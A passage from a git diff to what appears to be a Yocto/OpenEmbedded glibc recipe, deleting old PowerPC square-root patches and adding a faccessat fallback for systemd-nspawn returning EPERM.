-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
-new file mode 100644
-index 0000000000..b103b4dea5
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/603e/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
-new file mode 100644
-index 0000000000..64db17fada
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
-@@ -0,0 +1,2 @@
-+# e300c3 is a variant of 603e so use the same optimizations for sqrt
-+powerpc/powerpc32/603e/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
-new file mode 100644
-index 0000000000..7eac5fcf02
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e500mc/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
-new file mode 100644
-index 0000000000..264b2a7700
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e5500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
-new file mode 100644
-index 0000000000..a25934467b
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e6500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
-new file mode 100644
-index 0000000000..a7bc854be8
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc64/e5500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-new file mode 100644
-index 0000000000..04ff8cc181
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc64/e6500/fpu
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch b/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch
new file mode 100644
index 0000000000..f4fc1d68c4
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch
@@ -0,0 +1,32 @@
+From 2761400989bcbf11e10bc85f90c3a2ba1305c4ae Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 6 Mar 2021 14:48:56 -0800
+Subject: [PATCH] nativesdk-glibc: Fall back to faccessat on faccess2 returns
+ EPERM
+
+Fedora-specific workaround for systemd-nspawn
+
+Upstream-Status: Inappropriate [Distro Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/faccessat.c | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/faccessat.c b/sysdeps/unix/sysv/linux/faccessat.c
+index 13160d3249..ee3ddc9b79 100644
+--- a/sysdeps/unix/sysv/linux/faccessat.c
++++ b/sysdeps/unix/sysv/linux/faccessat.c
+@@ -30,7 +30,11 @@ __faccessat (int fd, const char *file, int mode, int flag)
+ #if __ASSUME_FACCESSAT2
+ return ret;
+ #else
+- if (ret == 0 || errno != ENOSYS)
++ /* Fedora-specific workaround:
++ As a workround for a broken systemd-nspawn that returns
++ EPERM when a syscall is not allowed instead of ENOSYS
++ we must check for EPERM here and fall back to faccessat. */
++ if (ret == 0 || !(errno == ENOSYS || errno == EPERM))
+ return ret;
+
+ if (flag & ~(AT_SYMLINK_NOFOLLOW | AT_EACCESS))
diff --git a/meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch b/meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch
deleted file mode 100644
index a94ed207f5..0000000000
--- a/meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch
+++ /dev/null
@@ -1,208 +0,0 @@
-From 78f67f016ca9e3f7a37af86cf6e400cf17cf1d05 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:15:07 +0000
-Subject: [PATCH 09/29] ppc/sqrt: Fix undefined reference to `__sqrt_finite'
-
-on ppc fixes the errors like below
-| ./.libs/libpulsecore-1.1.so: undefined reference to `__sqrt_finite'
-| collect2: ld returned 1 exit status
-
-Upstream-Status: Pending
-
-ChangeLog
-
-2012-01-06 Khem Raj <raj.khem@gmail.com>
-
- * sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c: Add __*_finite alias.
- Remove cruft.
- * sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c: Ditto.
- * sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c: Ditto.
- * sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c: Ditto.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 7 +------
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 7 +------
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 7 +------
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 7 +------
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 1 +
- 12 files changed, 12 insertions(+), 24 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-index 71e516d1c8..1795fd6c3e 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -39,14 +39,8 @@ static const float half = 0.5;
- We find the actual square root and half of its reciprocal
- simultaneously. */
-
--#ifdef __STDC__
- double
- __ieee754_sqrt (double b)
--#else
--double
--__ieee754_sqrt (b)
-- double b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -132,3 +126,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-index 26fa067abf..a917f313ab 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -37,14 +37,8 @@ static const float threehalf = 1.5;
- We find the reciprocal square root and use that to compute the actual
- square root. */
-
--#ifdef __STDC__
- float
- __ieee754_sqrtf (float b)
--#else
--float
--__ieee754_sqrtf (b)
-- float b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -99,3 +93,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-index 71e516d1c8..1795fd6c3e 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -39,14 +39,8 @@ static const float half = 0.5;
- We find the actual square root and half of its reciprocal
- simultaneously. */
-
--#ifdef __STDC__
- double
- __ieee754_sqrt (double b)
--#else
--double
--__ieee754_sqrt (b)
-- double b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -132,3 +126,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-index 26fa067abf..a917f313ab 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -37,14 +37,8 @@ static const float threehalf = 1.5;
- We find the reciprocal square root and use that to compute the actual
- square root. */
-
--#ifdef __STDC__
- float
- __ieee754_sqrtf (float b)
--#else
--float
--__ieee754_sqrtf (b)
-- float b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -99,3 +93,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-index 26fa067abf..9d175122a8 100644
---- a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -99,3 +99,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch b/meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
deleted file mode 100644
index 743bea1433..0000000000
--- a/meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
+++ /dev/null
@@ -1,387 +0,0 @@
-From 670b5d70ab62b42ab02a8e18b8fcee2879b8c4a0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:16:38 +0000
-Subject: [PATCH 10/29] __ieee754_sqrt{,f} are now inline functions and call
- out __slow versions
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 8 +++++++-
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 8 ++++++++
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 8 ++++++++
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 12 ++++++++++--
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 9 ++++++++-
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 14 +++++++++++---
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 12 ++++++++++--
- 12 files changed, 114 insertions(+), 21 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-index 1795fd6c3e..daa83f3fe8 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -40,7 +40,7 @@ static const float half = 0.5;
- simultaneously. */
-
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -77,7 +77,7 @@ __ieee754_sqrt (double b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -126,4 +126,12 @@ __ieee754_sqrt (double b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-index a917f313ab..b812cf1705 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -38,7 +38,7 @@ static const float threehalf = 1.5;
- square root. */
-
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -93,4 +93,10 @@ __ieee754_sqrtf (float b)
- }
- return f_washf (b);
- }
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-index fc4a74990e..7038a70b47 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -41,10 +41,10 @@ static const float half = 0.5;
-
- #ifdef __STDC__
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- #else
- double
--__ieee754_sqrt (b)
-+__slow_ieee754_sqrt (b)
- double b;
- #endif
- {
-@@ -83,7 +83,7 @@ __ieee754_sqrt (b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-index 9d175122a8..10de1f0cc3 100644
---- a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -39,10 +39,10 @@ static const float threehalf = 1.5;
-
- #ifdef __STDC__
- float
--__ieee754_sqrtf (float b)
-+__slow_ieee754_sqrtf (float b)
- #else
- float
--__ieee754_sqrtf (b)
-+__slow_ieee754_sqrtf (b)
- float b;
- #endif
- {
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-index fc4a74990e..1c34244bd8 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -132,4 +132,12 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-index 9d175122a8..812653558f 100644
---- a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -99,4 +99,12 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+
-+#undef __ieee754_sqrtf
-+float
-+__ieee754_sqrtf (float x)
-+{
-+ return __slow_ieee754_sqrtf (x);
-+}
-+
- strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-index 1795fd6c3e..13a81973e3 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -40,7 +40,7 @@ static const float half = 0.5;
- simultaneously. */
-
- double
--__ieee754_sqrt (double b)
-+__slow_ieee754_sqrt (double b)
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -77,7 +77,7 @@ __ieee754_sqrt (double b)
-
- /* Handle small numbers by scaling. */
- if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-- return __ieee754_sqrt (b * two108) * twom54;
-+ return __slow_ieee754_sqrt (b * two108) * twom54;
-
- #define FMADD(a_, c_, b_) \
- ({ double __r; \
-@@ -126,4 +126,12 @@ __ieee754_sqrt (double b)
- }
- return f_wash (b);
- }
-+
-+#undef __ieee754_sqrt
-+double
-+__ieee754_sqrt (double x)
-+{
-+ return __slow_ieee754_sqrt (x);
-+}
-+
- strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-index a917f313ab..fae2d81210 100644
---- a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -38,7 +38,7 @@ static const float threehalf = 1.5;
